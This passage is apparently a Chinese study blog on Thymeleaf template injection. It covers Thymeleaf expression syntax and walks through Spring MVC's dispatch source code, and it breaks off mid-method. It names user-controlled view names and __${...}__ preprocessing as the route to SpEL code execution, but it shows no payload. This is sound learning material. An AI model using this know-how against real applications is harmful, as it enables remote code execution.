跟着网上学习了一下thymeleaf模版注入,其实主要就是分析Spirng MVC框架在处理HTTP请求的时候,如何根据url寻找对应的处理器进行处理(即Controller实现的具体方法), 再看如何对返回的ModelAndView进行渲染的;
这个漏洞的利用点就是若用户可控Controller返回的视图值, 那在使用ThymeleafView渲染的时候, 就会进行预处理最后通过SPEL执行表达式.
Thymeleaf 模版注入
前言
大部分内容是跟着参考文章一步步调试学习的, 所以部分内容看起来会很臃肿, 可以先看小结部分大致了解下有哪几个部分, 再去调试分析重要的部分
模版引擎
模版引擎简介
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的, 它可以生成特定格式的文档, 用于网站的模板引擎就会生成一个标准的html文档。
模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。
模板引擎不属于特定技术领域,它是跨领域跨平台的概念。
模板引擎的出现是为了解决前后端分离的问题, 例如jsp也算是一种模版引擎, 在JSP访问的过程中编译器会识别JSP的标签, 如果是JSP的内容则动态的提取并将执行结果替换, 如果是HTML的内容则原样输出。
test.jsp:
1
2
3
4
5
6
7
8
9
10
|
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<%=111*111%>
</body>
</html>
|
既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎?
- 动态资源和静态资源全部耦合在一起, 还是需要在
JSP
文件中写一些后端代码, 导致很多JAVA开发不能专注于JAVA开发, 还需要写一些前端代码。
- 第一次请求 jsp, 必须要在web服务器中编译成 servlet, 第一次运行会较慢。
- 每次请求 jsp 都是访问 servlet 再用输出流输出的 html 页面, 效率没有直接使用 html 高。
- 如果 jsp 中的内容很多, 页面响应会很慢, 因为是同步加载。
- jsp 只能运行在web容器中, 无法运行在 nginx 这样的高效的http服务上。
使用模板引擎的好处是什么?
模板设计好后可以直接填充数据使用, 不需要重新设计页面, 增强了代码的复用性
Thymeleaf
Thymeleaf 的目的:
- Thymeleaf 的主要目标是为您的开发工作流程带来优雅自然的 模板-HTML 可以在浏览器中正确显示, 也可以作为静态原型工作, 从而可以在开发团队中加强协作。
- Thymeleaf 拥有适用于 Spring Framework 的模块, 与您喜欢的工具的大量集成以及插入您自己的功能的能力, 对于现代HTML5 JVM Web开发而言, Thymeleaf是理想的选择——尽管它还有很多工作要做。
Thymeleaf 作为被 Springboot 官方推荐的模板引擎, 其好处:
- 动静分离: Thymeleaf 选用 html 作为模板页, 这是任何一款其他模板引擎做不到的!Thymeleaf 使用 html 通过一些特定标签语法代表其含义, 但并未破坏html结构, 即使无网络、不通过后端渲染也能在浏览器成功打开, 大大方便界面的测试和修改。
- 开箱即用: Thymeleaf 提供标准和Spring标准两种方言, 可以直接套用模板实现JSTL、 OGNL表达式效果, 避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
- Springboot官方大力推荐和支持, Springboot官方做了很多默认配置, 开发者只需编写对应html即可, 大大减轻了上手难度和配置复杂度。
语法
在 Thymeleaf 的 html 中首先要加上下面的标识。
<html xmlns:th="http://www.thymeleaf.org">
标签
Thymeleaf
提供了一些内置标签, 通过标签来实现特定的功能。
标签 |
作用 |
示例 |
th:id |
替换id |
<input th:id="${user.id}"/> |
th:text |
文本替换 |
<p text:="${user.name}">bigsai</p> |
th:utext |
支持html的文本替换 |
<p utext:="${htmlcontent}">content</p> |
th:object |
替换对象 |
<div th:object="${user}"></div> |
th:value |
替换值 |
<input th:value="${user.name}" > |
th:each |
迭代 |
<tr th:each="student:${user}" > |
th:href |
替换超链接 |
<a th:href="@{index.html}">超链接</a> |
th:src |
替换资源 |
<script type="text/javascript" th:src="@{index.js}"></script> |
链接表达式
在 Thymeleaf 中, 如果想引入链接比如 link、href、src, 需要使用@{资源地址}引入资源。引入的地址可以在static目录下, 也可以是互联网中的资源。
1
2
3
|
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
|
例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" xmlns="http://www.w3.org/1999/html">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<h1>WelCome to Thymeleaf Test</h1>
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{http://47.93.248.221/index.html}">超链接</a>
</body>
</html>
|
变量表达式
字符串
通过${...}
在 model 中取值, 如果在 Model 中存储字符串, 则可以通过${对象名}
直接取值
1
2
3
4
5
6
7
8
9
|
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","w0s1np");//普通字符串
return "test";//与templates中test.html对应
}
// test.html
<td th:text="'我的名字是:'+${name}"></td>
|
javabean
如果需要在 javabean 中取值, 则需要将 javabean 的对象存储在 model 中, 通过${对象名.属性}
这种方式来取值, 也可以通过${对象名['对象属性']}
这种方法取值
如果javabean中实现了getter
方法, 还可以通过getter
方法取值${对象.get方法名}
例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public class User {
public String name;
public int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
@Controller
public class urlController {
@GetMapping("/index")//页面的url地址
public String getindex(Model model)//对应函数
{
User user = new User("w0s1np",22);
model.addAttribute("user",user);
return "test";//与templates中test.html对应
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" xmlns="http://www.w3.org/1999/html">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<h1>WelCome to Thymeleaf Test</h1>
<div th:text="'My name is: ' + ${user.name}"></div>
<td th:text="'My age is: ' + ${user['age']}"></td>
</br>
<td th:text="'Name is: ' + ${user.getName()}"></td>
</br>
<td th:text="'Object is: ' +${user}"></td>
</body>
</html>
|
Map对象
取Map对象使用${Map名['key']}
或${Map名.key}
1
2
3
4
5
6
7
8
9
10
11
12
13
|
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "test";//与templates中test.html对应
}
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
|
List合集
取List集合:List集合是一个有序列表, 需要使用each遍历赋值, <tr th:each="item:${userlist}">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "test";//与templates中test.html对应
}
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
|
选择变量表达式
变量表达式也可以写为*{...}
星号语法对选定对象而不是整个上下文评估表达式. 也就是说, 只要没有选定的对象, ${…}
和*{...}
的语法就完全一样。
1
2
3
4
5
|
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
|
消息表达式
文本外部化是从模板文件中提取模板代码的片段, 以便可以将它们保存在单独的文件(通常是.properties
文件)中, 文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}
语法就是用来读取配置文件中数据的。
片段表达式
片段表达式~{...}
可以用于引用公共的目标片段, 比如可以在一个template/footer.html
中定义下面的片段, 并在另一个template
中引用。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
|
1
2
3
4
5
|
<body>
<div th:insert="~{footer :: copy}"></div>
</body>
|
片段表达式语法:
~{templatename::selector}
会在/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
, 如上面的~{footer :: copy}
~{templatename}
: 引用整个templatename模版文件作为fragment
~{::selector}
或 ~{this::selector}
: 引用来自同一模版文件名为selector
的fragmnt
当~{}
片段表达式中出现::
, 则::
后需要有值, 也就是selector
。
预处理
预处理是在正常表达式之前完成的表达式的执行, 允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样, 但被双下划线符号(如__${expression}__
)包围。
这是出现SSTI最关键的一个地方, 预处理也可以解析执行表达式. 也就是说找到一个可以控制预处理表达式的地方, 让其解析执行我们的payload即可达到任意代码执行
Spring MVC
Thymeleaf 模板引擎在整个web项目中起到的作用为视图展示(view), 谈到视图就不得不提起模型(model)以及控制器(view), 其三者在web项目中分工和职责不同, 但又相互有联系。三者组成当今web项目较为流行的MVC架构。

核心组件
前端控制器DispatcherServlet
接收请求, 响应结果, 相当于转发器, 中央处理器。
用户请求到达前端控制器, 它就相当于mvc模式中的c, dispatcherServlet
是整个流程控制的中心, 由它调用其它组件处理用户的请求, dispatcherServlet
的存在降低了组件之间的耦合性。
处理器映射器HandlerMapping
根据请求的url查找Handler, HandlerMapping
负责根据用户请求找到Handler
(即处理器).
springmvc提供了不同的映射器实现不同的映射方式, 例如:配置文件方式、实现接口方式、注解方式等。
处理器适配器HandlerAdapter
按照特定规则(HandlerAdapter要求的规则)通过HandlerAdapter
对处理器handler
进行执行,
这是适配器模式的应用, 编写Handler时按照HandlerAdapter的要求去做, 这样适配器才可以去正确执行Handler, 通过扩展适配器可以对更多类型的处理器进行执行。
处理器Handler
Handler是继DispatcherServlet前端控制器的后端控制器, 在DispatcherServlet的控制下Handler对具体的用户请求进行处理。
由于Handler涉及到具体的用户业务请求, 所以一般情况需要工程师根据业务需求开发Handler。
视图解析器ViewResolver
进行视图解析, 根据逻辑视图名解析成真正的视图(view) , ViewResolver负责将处理结果生成View视图
ViewResolver
首先根据逻辑视图名解析成物理视图名即具体的页面地址, 再生成View视图对象, 最后对View进行渲染将处理结果通过页面展示给用户。
springmvc框架提供了很多的View视图类型, 包括:jstl View、freemarker View、pdf View等。
解析流程

- (1)客户端发起的请求
request
通过核心处理器DispatcherServlet
进行处理
- (2-3)核心处理器
DispatcherServlet
通过注册在spring中的HandlerMapping
找到对应的Handler(其实是HandlerMethod, 可以认为是我们编写的某个Controller对象的具体的某个方法 即通过映射器将请求映射到Controller的方法上), 同时将注册在spring中的所有拦截器和Handler包装成执行链HandlerExecutionChain
并返回给核心处理器DispatcherServlet
- (4)核心处理器 DispatcherServlet 通过2-3步获取的Handler来查找对应的处理器适配器HandlerAdapter
- (5-7)适配器调用实现对应接口的处理器, 并将结果返回给适配器, 结果中包含数据模型和视图对象, 再由适配器返回给核心控制器
- (8-9)核心控制器将获取的数据和视图结合的对象传递给视图解析器, 获取解析得到的结果, 并由视图解析器响应给核心控制器
- (10)渲染视图
- (11)核心控制器将response返回给客户端
直接在 Controller 下断点, 看调用栈

其实可以看到, 最开始就是之前java agent内存马看到的, 会先经过FilterChain
使用过滤器进行数据过滤
再到HttpServlet
对请求进行处理, 然后会传入到DispatcherServlet#doService
进行实际处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
// 负责初始化请求上下文、处理 Flash 属性、调用分发逻辑,并在必要时恢复请求属性。
protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
this.logRequest(request);
// 如果当前请求是包含请求(include 类型),则对请求的属性进行快照保存。这样可以在请求处理完成后恢复这些属性,避免影响外层请求。
Map<String, Object> attributesSnapshot = null;
if (WebUtils.isIncludeRequest(request)) {
attributesSnapshot = new HashMap();
Enumeration<?> attrNames = request.getAttributeNames();
while(attrNames.hasMoreElements()) {
String attrName = (String)attrNames.nextElement();
if (this.cleanupAfterInclude || attrName.startsWith("org.springframework.web.servlet")) {
attributesSnapshot.put(attrName, request.getAttribute(attrName));
}
}
}
// 将一些关键的上下文信息(如 WebApplicationContext、LocaleResolver、ThemeResolver 等)设置为请求属性,供后续处理使用。
request.setAttribute(WEB_APPLICATION_CONTEXT_ATTRIBUTE, this.getWebApplicationContext());
request.setAttribute(LOCALE_RESOLVER_ATTRIBUTE, this.localeResolver);
request.setAttribute(THEME_RESOLVER_ATTRIBUTE, this.themeResolver);
request.setAttribute(THEME_SOURCE_ATTRIBUTE, this.getThemeSource());
if (this.flashMapManager != null) {
FlashMap inputFlashMap = this.flashMapManager.retrieveAndUpdate(request, response);
if (inputFlashMap != null) {
request.setAttribute(INPUT_FLASH_MAP_ATTRIBUTE, Collections.unmodifiableMap(inputFlashMap));
}
request.setAttribute(OUTPUT_FLASH_MAP_ATTRIBUTE, new FlashMap());
request.setAttribute(FLASH_MAP_MANAGER_ATTRIBUTE, this.flashMapManager);
}
// 调用 doDispatch 方法处理请求的分发逻辑(如找到合适的处理器、执行处理器逻辑等)。在请求处理完成后,如果是包含请求且有属性快照,则恢复原始属性。
try {
this.doDispatch(request, response);
} finally {
if (!WebAsyncUtils.getAsyncManager(request).isConcurrentHandlingStarted() && attributesSnapshot != null) {
this.restoreAttributesAfterInclude(request, attributesSnapshot);
}
}
}
|
进入doDispatch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 当前需要处理的请求
HttpServletRequest processedRequest = request;
// Handler执行链
HandlerExecutionChain mappedHandler = null;
// 判断是否为多部分请求
boolean multipartRequestParsed = false;
// 异步
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
try {
// 视图
ModelAndView mv = null;
Exception dispatchException = null;
try {
// 检查请求是否为多部分请求(例如文件上传 multipart/form-data)
processedRequest = this.checkMultipart(request);
multipartRequestParsed = processedRequest != request;
// 获取与请求匹配的处理器链
mappedHandler = this.getHandler(processedRequest);
if (mappedHandler == null) {
this.noHandlerFound(processedRequest, response);
return;
}
// 获取支持该处理器的适配器
HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
// 获取请求方法
String method = request.getMethod();
boolean isGet = "GET".equals(method);
// 检查 HTTP 请求是否可以利用缓存的 Last-Modified 时间戳来避免不必要的处理
if (isGet || "HEAD".equals(method)) {
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
// 如果资源未被修改(基于 If-Modified-Since 请求头和 lastModified 时间戳),并且是 GET 请求,则直接返回,避免进一步处理
return;
}
}
// 检查拦截器链的 preHandle 方法是否允许继续处理请求
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
// 执行Controller中(Handler)的方法, 返回ModelAndView视图
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
// 判断是不是异步请求, 是就返回了
return;
}
// 判断mv是否设置成功view, 否则分配默认视图
this.applyDefaultViewName(processedRequest, mv);
// 在处理请求之后但在视图渲染之前, 执行拦截器的 postHandle 方法, 对 ModelAndView 进行修改或添加额外的逻辑
mappedHandler.applyPostHandle(processedRequest, response, mv);
} catch (Exception ex) {
dispatchException = ex;
} catch (Throwable err) {
dispatchException = new NestedServletException("Handler dispatch failed", err);
}
// 对页面渲染
this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
} catch (Exception ex) {
this.triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
} catch (Throwable err) {
this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", err));
}
} finally {
if (asyncManager.isConcurrentHandlingStarted()) {
if (mappedHandler != null) {
mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
}
} else if (multipartRequestParsed) {
this.cleanupMultipart(processedRequest);
}
}
}
|
获取handler
1
2
3
4
5
6
7
8
9
10
11
12
13
|
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for(HandlerMapping mapping : this.handlerMappings) {
// 根据请求获取 HandlerExecutionChain
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
|
handlerMappings:处理器映射, 保存了每一个处理器可以处理哪些请求的方法的映射信息。
org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
// 根据请求获取Handler
Object handler = this.getHandlerInternal(request);
if (handler == null) {
// 获取默认Handler
handler = this.getDefaultHandler();
}
if (handler == null) {
return null;
} else {
// 如果handler继承String, 则获取名称为 handlerName 的 Bean 实例
if (handler instanceof String) {
String handlerName = (String)handler;
handler = this.obtainApplicationContext().getBean(handlerName);
}
// 获取HandlerExecutionChain
HandlerExecutionChain executionChain = this.getHandlerExecutionChain(handler, request);
if (this.logger.isTraceEnabled()) {
this.logger.trace("Mapped to " + handler);
} else if (this.logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
this.logger.debug("Mapped to " + executionChain.getHandler());
}
// 为请求处理链添加 CORS 相关的拦截器或处理逻辑,以确保跨域请求的正确处理。
if (this.hasCorsConfigurationSource(handler)) {
CorsConfiguration config = this.corsConfigurationSource != null ? this.corsConfigurationSource.getCorsConfiguration(request) : null;
CorsConfiguration handlerConfig = this.getCorsConfiguration(handler, request);
config = config != null ? config.combine(handlerConfig) : handlerConfig;
executionChain = this.getCorsHandlerExecutionChain(request, executionChain, config);
}
return executionChain;
}
}
|
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
// 获取请求路径
String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);
// 设置路径属性
request.setAttribute(LOOKUP_PATH, lookupPath);
this.mappingRegistry.acquireReadLock();
HandlerMethod var4;
try {
// 获取对应的Handler方法
HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
// 创建一个新的handlerMethod并解析与之关联的 Spring Bean
var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
} finally {
this.mappingRegistry.releaseReadLock();
}
return var4;
}
|
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
// 创建一个空的 matches 列表, 用于存储所有可能匹配的 HandlerMethod
List<AbstractHandlerMethodMapping<T>.Match> matches = new ArrayList();
// 通过uri直接在注册的RequestMapping中获取对应的RequestMappingInfo列表
// 需要注意的是, 这里进行查找的方式只是通过url进行查找, 但是具体哪些RequestMappingInfo是匹配的, 还需要进一步过滤
List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
if (directPathMatches != null) {
// 如果存在直接匹配的映射, 直接添加到 matches 列表中
// 匹配的情况主要有三种:
// ①在RequestMapping中定义的是PathVariable, 如/user/detail/{id};
// ②在RequestMapping中定义了问号表达式, 如/user/?etail;
// ③在RequestMapping中定义了*或**匹配, 如/user/detail/**
this.addMatchingMappings(directPathMatches, matches, request);
}
if (matches.isEmpty()) {
// 如果无法通过uri进行直接匹配, 则对所有的注册的RequestMapping进行匹配
this.addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
}
if (!matches.isEmpty()) {
// 使用 MatchComparator 对匹配结果进行优先级排序, 找到最佳匹配
Comparator<AbstractHandlerMethodMapping<T>.Match> comparator = new MatchComparator(this.getMappingComparator(request));
matches.sort(comparator);
AbstractHandlerMethodMapping<T>.Match bestMatch = (Match)matches.get(0);
if (matches.size() > 1) {
// 两个优先级一样就抛错
if (this.logger.isTraceEnabled()) {
this.logger.trace(matches.size() + " matching mappings: " + matches);
}
// 如果请求是 CORS 预检请求
if (CorsUtils.isPreFlightRequest(request)) {
return PREFLIGHT_AMBIGUOUS_MATCH;
}
AbstractHandlerMethodMapping<T>.Match secondBestMatch = (Match)matches.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
Method m1 = bestMatch.handlerMethod.getMethod();
Method m2 = secondBestMatch.handlerMethod.getMethod();
String uri = request.getRequestURI();
throw new IllegalStateException("Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
}
}
// 将最佳匹配的 HandlerMethod 设置为请求属性
request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
// 调用 handleMatch 方法处理匹配
this.handleMatch(bestMatch.mapping, lookupPath, request);
// 返回最佳匹配的 HandlerMethod
return bestMatch.handlerMethod;
} else {
return this.handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
}
}
|

到此就获取到对应的 handler
回到org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
刚才获取到请求对应的handler
了, 后面还会获取对应的executionChain
, 即表示一个处理器(handler)及其相关的拦截器链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, LOOKUP_PATH);
// 用 HandlerExecutionChain 包装 handler, 往里面添加适配的拦截器(HandlerInterceptor)
for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
return chain;
}
|
然后回到org.springframework.web.servlet.DispatcherServlet#doDispatch
执行流程
调用HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
if (this.handlerAdapters != null) {
for(HandlerAdapter adapter : this.handlerAdapters) {
// 判断处理器是否支持
if (adapter.supports(handler)) {
return adapter;
}
}
}
throw new ServletException("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
}
public final boolean supports(Object handler) {
return handler instanceof HandlerMethod && this.supportsInternal((HandlerMethod)handler);
}
|

执行interceptors#preHandle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public HandlerInterceptor[] getInterceptors() {
if (this.interceptors == null && this.interceptorList != null) {
this.interceptors = (HandlerInterceptor[])this.interceptorList.toArray(new HandlerInterceptor[0]);
}
return this.interceptors;
}
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取interceptor拦截器
HandlerInterceptor[] interceptors = this.getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
// 遍历调用preHandle方法, 这里没配置interceptor, 获取到自动配置的2个拦截器。
// ConversionServiceExposingInterceptor、ResourceUrlProviderExposingInterceptor
for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
HandlerInterceptor interceptor = interceptors[i];
if (!interceptor.preHandle(request, response, this.handler)) {
this.triggerAfterCompletion(request, response, (Exception)null);
return false;
}
}
}
return true;
}
|
调用handler 获取ModelAndView
流程继调用回到org.springframework.web.servlet.DispatcherServlet#doDispatch
调用mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
// 执行目标的HandlerMethod, 然后返回一个ModelAndView
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
ServletWebRequest webRequest = new ServletWebRequest(request, response);
Object result;
try {
// 用于创建数据绑定器, 处理请求参数到方法参数的绑定;@InitBinder的methods会被引用进来
WebDataBinderFactory binderFactory = this.getDataBinderFactory(handlerMethod);
// 用于初始化模型数据;@ModelAttribute方法会被引用进来
ModelFactory modelFactory = this.getModelFactory(handlerMethod, binderFactory);
// 封装了实际的处理方法, 负责调用控制器中的方法
ServletInvocableHandlerMethod invocableMethod = this.createInvocableHandlerMethod(handlerMethod);
// 对invocableMethod进行赋值
if (this.argumentResolvers != null) {
invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
}
if (this.returnValueHandlers != null) {
invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
}
invocableMethod.setDataBinderFactory(binderFactory);
invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);
// 创建 ModelAndViewContainer,用于存储模型数据和视图信息
ModelAndViewContainer mavContainer = new ModelAndViewContainer();
mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
modelFactory.initModel(webRequest, mavContainer, invocableMethod);
mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);
// 创建 AsyncWebRequest 并设置超时时间
AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
asyncWebRequest.setTimeout(this.asyncRequestTimeout);
// 注册异步任务执行器和拦截器
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
asyncManager.setTaskExecutor(this.taskExecutor);
asyncManager.setAsyncWebRequest(asyncWebRequest);
asyncManager.registerCallableInterceptors(this.callableInterceptors);
asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);
// 检查是否有异步结果,如果有,则恢复异步结果并继续处理
if (asyncManager.hasConcurrentResult()) {
result = asyncManager.getConcurrentResult();
mavContainer = (ModelAndViewContainer)asyncManager.getConcurrentResultContext()[0];
asyncManager.clearConcurrentResult();
LogFormatUtils.traceDebug(this.logger, (traceOn) -> {
String formatted = LogFormatUtils.formatValue(result, !traceOn);
return "Resume with async result [" + formatted + "]";
});
invocableMethod = invocableMethod.wrapConcurrentResult(result);
}
// 调用控制器方法并处理返回值
// 任何HandlerMethod执行完后都是把结果放在了mavContainer里(它可能有Model, 可能有View, 可能啥都木有~~)
invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
// 处理同步请求的返回值
if (!asyncManager.isConcurrentHandlingStarted()) {
result = this.getModelAndView(mavContainer, modelFactory, webRequest);
return (ModelAndView)result;
}
result = null;
} finally {
webRequest.requestCompleted();
}
return (ModelAndView)result;
}
|
调用invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
if (returnValue == null) {
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
} else if (StringUtils.hasText(this.getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
} catch (Exception var6) {
if (this.logger.isTraceEnabled()) {
this.logger.trace(this.formatErrorForReturnValue(returnValue), var6);
}
throw var6;
}
}
// 根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名
public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
Object[] args = this.getMethodArgumentValues(request, mavContainer, providedArgs);
if (this.logger.isTraceEnabled()) {
this.logger.trace("Arguments: " + Arrays.toString(args));
}
return this.doInvoke(args);
}
protected Object doInvoke(Object... args) throws Exception {
ReflectionUtils.makeAccessible(this.getBridgedMethod());
try {
return this.getBridgedMethod().invoke(this.getBean(), args);
}
...
}
|
到这个地方会反射调用路由中类中的方法, 并将参数进行传递

执行handle
完成后, 得到的还是一个字符串, 再去看下如何通过字符串找到视图的, 调用this.returnValueHandlers.handleReturnValue
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
